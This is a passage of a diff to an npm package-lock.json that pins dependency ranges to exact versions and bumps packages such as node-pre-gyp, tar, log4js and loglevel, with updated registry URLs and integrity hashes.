"ms": {
- "version": "2.0.0",
+ "version": "2.1.1",
"bundled": true,
"dev": true,
"optional": true
},
"needle": {
- "version": "2.2.0",
+ "version": "2.3.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "debug": "^2.1.2",
- "iconv-lite": "^0.4.4",
- "sax": "^1.2.4"
+ "debug": "4.1.1",
+ "iconv-lite": "0.4.24",
+ "sax": "1.2.4"
}
},
"node-pre-gyp": {
- "version": "0.10.0",
+ "version": "0.12.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "detect-libc": "^1.0.2",
- "mkdirp": "^0.5.1",
- "needle": "^2.2.0",
- "nopt": "^4.0.1",
- "npm-packlist": "^1.1.6",
- "npmlog": "^4.0.2",
- "rc": "^1.1.7",
- "rimraf": "^2.6.1",
- "semver": "^5.3.0",
- "tar": "^4"
+ "detect-libc": "1.0.3",
+ "mkdirp": "0.5.1",
+ "needle": "2.3.0",
+ "nopt": "4.0.1",
+ "npm-packlist": "1.4.1",
+ "npmlog": "4.1.2",
+ "rc": "1.2.8",
+ "rimraf": "2.6.3",
+ "semver": "5.7.0",
+ "tar": "4.4.8"
}
},
"nopt": {
@@ -8952,24 +9535,24 @@
"dev": true,
"optional": true,
"requires": {
- "abbrev": "1",
- "osenv": "^0.1.4"
+ "abbrev": "1.1.1",
+ "osenv": "0.1.5"
}
},
"npm-bundled": {
- "version": "1.0.3",
+ "version": "1.0.6",
"bundled": true,
"dev": true,
"optional": true
},
"npm-packlist": {
- "version": "1.1.10",
+ "version": "1.4.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "ignore-walk": "^3.0.1",
- "npm-bundled": "^1.0.1"
+ "ignore-walk": "3.0.1",
+ "npm-bundled": "1.0.6"
}
},
"npmlog": {
@@ -8978,10 +9561,10 @@
"dev": true,
"optional": true,
"requires": {
- "are-we-there-yet": "~1.1.2",
- "console-control-strings": "~1.1.0",
- "gauge": "~2.7.3",
- "set-blocking": "~2.0.0"
+ "are-we-there-yet": "1.1.5",
+ "console-control-strings": "1.1.0",
+ "gauge": "2.7.4",
+ "set-blocking": "2.0.0"
}
},
"number-is-nan": {
@@ -9000,7 +9583,7 @@
"bundled": true,
"dev": true,
"requires": {
- "wrappy": "1"
+ "wrappy": "1.0.2"
}
},
"os-homedir": {
@@ -9021,8 +9604,8 @@
"dev": true,
"optional": true,
"requires": {
- "os-homedir": "^1.0.0",
- "os-tmpdir": "^1.0.0"
+ "os-homedir": "1.0.2",
+ "os-tmpdir": "1.0.2"
}
},
"path-is-absolute": {
@@ -9038,15 +9621,15 @@
"optional": true
},
"rc": {
- "version": "1.2.7",
+ "version": "1.2.8",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "deep-extend": "^0.5.1",
- "ini": "~1.3.0",
- "minimist": "^1.2.0",
- "strip-json-comments": "~2.0.1"
+ "deep-extend": "0.6.0",
+ "ini": "1.3.5",
+ "minimist": "1.2.0",
+ "strip-json-comments": "2.0.1"
},
"dependencies": {
"minimist": {
@@ -9063,26 +9646,26 @@
"dev": true,
"optional": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"rimraf": {
- "version": "2.6.2",
+ "version": "2.6.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "glob": "^7.0.5"
+ "glob": "7.1.3"
}
},
"safe-buffer": {
- "version": "5.1.1",
+ "version": "5.1.2",
"bundled": true,
"dev": true
},
@@ -9099,7 +9682,7 @@
"optional": true
},
"semver": {
- "version": "5.5.0",
+ "version": "5.7.0",
"bundled": true,
"dev": true,
"optional": true
@@ -9121,9 +9704,9 @@
"bundled": true,
"dev": true,
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
},
"string_decoder": {
@@ -9132,7 +9715,7 @@
"dev": true,
"optional": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.2"
}
},
"strip-ansi": {
@@ -9140,7 +9723,7 @@
"bundled": true,
"dev": true,
"requires": {
- "ansi-regex": "^2.0.0"
+ "ansi-regex": "2.1.1"
}
},
"strip-json-comments": {
@@ -9150,18 +9733,18 @@
"optional": true
},
"tar": {
- "version": "4.4.1",
+ "version": "4.4.8",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "chownr": "^1.0.1",
- "fs-minipass": "^1.2.5",
- "minipass": "^2.2.4",
- "minizlib": "^1.1.0",
- "mkdirp": "^0.5.0",
- "safe-buffer": "^5.1.1",
- "yallist": "^3.0.2"
+ "chownr": "1.1.1",
+ "fs-minipass": "1.2.5",
+ "minipass": "2.3.5",
+ "minizlib": "1.2.1",
+ "mkdirp": "0.5.1",
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
}
},
"util-deprecate": {
@@ -9171,12 +9754,12 @@
"optional": true
},
"wide-align": {
- "version": "1.1.2",
+ "version": "1.1.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "string-width": "^1.0.2"
+ "string-width": "1.0.2"
}
},
"wrappy": {
@@ -9185,7 +9768,7 @@
"dev": true
},
"yallist": {
- "version": "3.0.2",
+ "version": "3.0.3",
"bundled": true,
"dev": true
}
@@ -9197,8 +9780,8 @@
"integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
"dev": true,
"requires": {
- "is-glob": "^3.1.0",
- "path-dirname": "^1.0.0"
+ "is-glob": "3.1.0",
+ "path-dirname": "1.0.2"
},
"dependencies": {
"is-glob": {
@@ -9207,7 +9790,7 @@
"integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
"dev": true,
"requires": {
- "is-extglob": "^2.1.0"
+ "is-extglob": "2.1.1"
}
}
}
@@ -9218,7 +9801,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -9227,7 +9810,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -9236,9 +9819,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"is-extglob": {
@@ -9248,12 +9831,12 @@
"dev": true
},
"is-glob": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz",
- "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
+ "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
"dev": true,
"requires": {
- "is-extglob": "^2.1.1"
+ "is-extglob": "2.1.1"
}
},
"is-number": {
@@ -9262,7 +9845,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -9271,11 +9854,17 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
},
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+ "dev": true
+ },
"isobject": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
@@ -9294,33 +9883,80 @@
"integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
"dev": true,
"requires": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "braces": "2.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "extglob": "2.0.4",
+ "fragment-cache": "0.2.1",
+ "kind-of": "6.0.2",
+ "nanomatch": "1.2.13",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
}
},
"nan": {
- "version": "2.10.0",
- "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz",
- "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==",
+ "version": "2.14.0",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz",
+ "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==",
"dev": true,
"optional": true
},
+ "normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "dev": true
+ },
+ "process-nextick-args": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+ "dev": true
+ },
+ "readable-stream": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
+ "dev": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "readdirp": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+ "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "4.1.11",
+ "micromatch": "3.1.10",
+ "readable-stream": "2.3.6"
+ }
+ },
"source-map": {
"version": "0.6.1",
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
"integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
"dev": true
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "dev": true,
+ "requires": {
+ "safe-buffer": "5.1.1"
+ }
}
}
},
@@ -9336,11 +9972,11 @@
"integrity": "sha512-eQawj4Cl3z/CjxslYy9ariU4uDh7cCNFZHNWXWRpl0pNeblY/4wHR7M7boTYXWrn9bY0z2pZmr11eKje/S/hIw==",
"dev": true,
"requires": {
- "dateformat": "^1.0.6",
- "istanbul": "^0.4.0",
- "lodash": "^4.17.0",
- "minimatch": "^3.0.0",
- "source-map": "^0.5.1"
+ "dateformat": "1.0.12",
+ "istanbul": "0.4.5",
+ "lodash": "4.17.10",
+ "minimatch": "3.0.4",
+ "source-map": "0.5.6"
}
},
"karma-mocha": {
@@ -9358,9 +9994,9 @@
"integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=",
"dev": true,
"requires": {
- "chalk": "^2.1.0",
- "log-symbols": "^2.1.0",
- "strip-ansi": "^4.0.0"
+ "chalk": "2.4.0",
+ "log-symbols": "2.2.0",
+ "strip-ansi": "4.0.0"
},
"dependencies": {
"ansi-regex": {
@@ -9375,7 +10011,7 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
@@ -9384,9 +10020,9 @@
"integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.4.0"
}
},
"has-flag": {
@@ -9401,7 +10037,7 @@
"integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
"dev": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "3.0.0"
}
},
"supports-color": {
@@ -9410,7 +10046,7 @@
"integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
@@ -9421,8 +10057,8 @@
"integrity": "sha1-0jyjSAG9qYY60xjju0vUBisTrNI=",
"dev": true,
"requires": {
- "lodash": "^4.0.1",
- "phantomjs-prebuilt": "^2.1.7"
+ "lodash": "4.17.10",
+ "phantomjs-prebuilt": "2.1.16"
}
},
"karma-sourcemap-loader": {
@@ -9431,7 +10067,7 @@
"integrity": "sha1-kTIsd/jxPUb+0GKwQuEAnUxFBdg=",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.2"
+ "graceful-fs": "4.1.11"
}
},
"karma-webpack": {
@@ -9440,12 +10076,12 @@
"integrity": "sha512-nRudGJWstvVuA6Tbju9tyGUfXTtI1UXMXoRHVmM2/78D0q6s/Ye2IC157PKNDC15PWFGR0mVIRtWLAdcfsRJoA==",
"dev": true,
"requires": {
- "async": "^2.0.0",
- "babel-runtime": "^6.0.0",
- "loader-utils": "^1.0.0",
- "lodash": "^4.0.0",
- "source-map": "^0.5.6",
- "webpack-dev-middleware": "^2.0.6"
+ "async": "2.6.1",
+ "babel-runtime": "6.25.0",
+ "loader-utils": "1.1.0",
+ "lodash": "4.17.10",
+ "source-map": "0.5.6",
+ "webpack-dev-middleware": "2.0.6"
},
"dependencies": {
"async": {
@@ -9454,7 +10090,7 @@
"integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==",
"dev": true,
"requires": {
- "lodash": "^4.17.10"
+ "lodash": "4.17.10"
}
},
"loader-utils": {
@@ -9463,9 +10099,9 @@
"integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1"
}
}
}
@@ -9498,7 +10134,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
},
"klaw": {
@@ -9507,7 +10143,7 @@
"integrity": "sha1-QIhDO0azsbolnXh4XY6W9zugJDk=",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.9"
+ "graceful-fs": "4.1.11"
}
},
"lazy-cache": {
@@ -9522,7 +10158,7 @@
"resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
"integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=",
"requires": {
- "invert-kv": "^1.0.0"
+ "invert-kv": "1.0.0"
}
},
"levn": {
@@ -9531,8 +10167,8 @@
"integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
"dev": true,
"requires": {
- "prelude-ls": "~1.1.2",
- "type-check": "~0.3.2"
+ "prelude-ls": "1.1.2",
+ "type-check": "0.3.2"
}
},
"load-json-file": {
@@ -9540,11 +10176,11 @@
"resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz",
"integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=",
"requires": {
- "graceful-fs": "^4.1.2",
- "parse-json": "^2.2.0",
- "pify": "^2.0.0",
- "pinkie-promise": "^2.0.0",
- "strip-bom": "^2.0.0"
+ "graceful-fs": "4.1.11",
+ "parse-json": "2.2.0",
+ "pify": "2.3.0",
+ "pinkie-promise": "2.0.1",
+ "strip-bom": "2.0.0"
},
"dependencies": {
"strip-bom": {
@@ -9552,18 +10188,18 @@
"resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz",
"integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=",
"requires": {
- "is-utf8": "^0.2.0"
+ "is-utf8": "0.2.1"
}
}
}
},
"loader-fs-cache": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.1.tgz",
- "integrity": "sha1-VuC/CL2XCLJqdltoUJhAyN7J/bw=",
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.2.tgz",
+ "integrity": "sha512-70IzT/0/L+M20jUlEqZhZyArTU6VKLRTYRDAYN26g4jfzpJqjipLL3/hgYpySqI9PwsVRHHFja0LfEmsx9X2Cw==",
"dev": true,
"requires": {
- "find-cache-dir": "^0.1.1",
+ "find-cache-dir": "0.1.1",
"mkdirp": "0.5.1"
},
"dependencies": {
@@ -9573,9 +10209,9 @@
"integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=",
"dev": true,
"requires": {
- "commondir": "^1.0.1",
- "mkdirp": "^0.5.1",
- "pkg-dir": "^1.0.0"
+ "commondir": "1.0.1",
+ "mkdirp": "0.5.1",
+ "pkg-dir": "1.0.0"
}
},
"pkg-dir": {
@@ -9584,15 +10220,15 @@
"integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=",
"dev": true,
"requires": {
- "find-up": "^1.0.0"
+ "find-up": "1.1.2"
}
}
}
},
"loader-runner": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.1.tgz",
- "integrity": "sha512-By6ZFY7ETWOc9RFaAIb23IjJVcM4dvJC/N57nmdz9RSkMXvAXGI7SyVlAw3v8vjtDRlqThgVDVmTnr9fqMlxkw==",
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz",
+ "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==",
"dev": true
},
"loader-utils": {
@@ -9601,10 +10237,10 @@
"integrity": "sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0",
- "object-assign": "^4.0.1"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1",
+ "object-assign": "4.1.1"
}
},
"locate-path": {
@@ -9613,8 +10249,8 @@
"integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
"dev": true,
"requires": {
- "p-locate": "^2.0.0",
- "path-exists": "^3.0.0"
+ "p-locate": "2.0.0",
+ "path-exists": "3.0.0"
},
"dependencies": {
"path-exists": {
@@ -9630,45 +10266,23 @@
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz",
"integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg=="
},
- "lodash.camelcase": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
- "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=",
- "dev": true
- },
"lodash.curry": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz",
"integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA="
},
- "lodash.debounce": {
- "version": "4.0.8",
- "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
- "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=",
- "dev": true
- },
"lodash.flow": {
"version": "3.5.0",
"resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz",
"integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o="
},
- "lodash.tail": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz",
- "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ="
- },
- "lodash.topath": {
- "version": "4.5.2",
- "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz",
- "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak="
- },
"log-symbols": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
"integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
"dev": true,
"requires": {
- "chalk": "^2.0.1"
+ "chalk": "2.4.0"
},
"dependencies": {
"ansi-styles": {
@@ -9677,7 +10291,7 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
@@ -9686,9 +10300,9 @@
"integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.4.0"
}
},
"has-flag": {
@@ -9703,45 +10317,45 @@
"integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
},
"log4js": {
- "version": "3.0.5",
- "resolved": "https://registry.npmjs.org/log4js/-/log4js-3.0.5.tgz",
- "integrity": "sha512-IX5c3G/7fuTtdr0JjOT2OIR12aTESVhsH6cEsijloYwKgcPRlO6DgOU72v0UFhWcoV1HN6+M3dwT89qVPLXm0w==",
+ "version": "3.0.6",
+ "resolved": "https://registry.npmjs.org/log4js/-/log4js-3.0.6.tgz",
+ "integrity": "sha512-ezXZk6oPJCWL483zj64pNkMuY/NcRX5MPiB0zE6tjZM137aeusrOnW1ecxgF9cmwMWkBMhjteQxBPoZBh9FDxQ==",
"dev": true,
"requires": {
- "circular-json": "^0.5.5",
- "date-format": "^1.2.0",
- "debug": "^3.1.0",
- "rfdc": "^1.1.2",
+ "circular-json": "0.5.9",
+ "date-format": "1.2.0",
+ "debug": "3.2.6",
+ "rfdc": "1.1.4",
"streamroller": "0.7.0"
},
"dependencies": {
- "circular-json": {
- "version": "0.5.5",
- "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.5.5.tgz",
- "integrity": "sha512-13YaR6kiz0kBNmIVM87Io8Hp7bWOo4r61vkEANy8iH9R9bc6avud/1FT0SBpqR1RpIQADOh/Q+yHZDA1iL6ysA==",
- "dev": true
- },
"debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+ "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
"dev": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.2"
}
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
}
}
},
"loglevel": {
- "version": "1.6.1",
- "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.1.tgz",
- "integrity": "sha1-4PyVEztu8nbNyIh82vJKpvFW+Po=",
+ "version": "1.6.4",
+ "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.4.tgz",
+ "integrity": "sha512-p0b6mOGKcGa+7nnmKbpzR6qloPbrgLcnio++E+14Vo/XffOGwZtRpUhr8dTH/x2oCMmEoIU0Zwm3ZauhvYD17g==",
"dev": true
},
"loglevelnext": {
@@ -9750,8 +10364,8 @@
"integrity": "sha512-V/73qkPuJmx4BcBF19xPBr+0ZRVBhc4POxvZTZdMeXpJ4NItXSJ/MSwuFT0kQJlCbXvdlZoQQ/418bS1y9Jh6A==",
"dev": true,
"requires": {
- "es6-symbol": "^3.1.1",
- "object.assign": "^4.1.0"
+ "es6-symbol": "3.1.1",
+ "object.assign": "4.1.0"
}
},
"longest": {
@@ -9765,7 +10379,7 @@
"resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz",
"integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=",
"requires": {
- "js-tokens": "^3.0.0"
+ "js-tokens": "3.0.2"
}
},
"loud-rejection": {
@@ -9773,8 +10387,8 @@
"resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz",
"integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=",
"requires": {
- "currently-unhandled": "^0.4.1",
- "signal-exit": "^3.0.0"
+ "currently-unhandled": "0.4.1",
+ "signal-exit": "3.0.2"
}
},
"lower-case": {
@@ -9788,8 +10402,8 @@
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz",
"integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==",
"requires": {
- "pseudomap": "^1.0.2",
- "yallist": "^2.1.2"
+ "pseudomap": "1.0.2",
+ "yallist": "2.1.2"
}
},
"make-dir": {
@@ -9798,7 +10412,7 @@
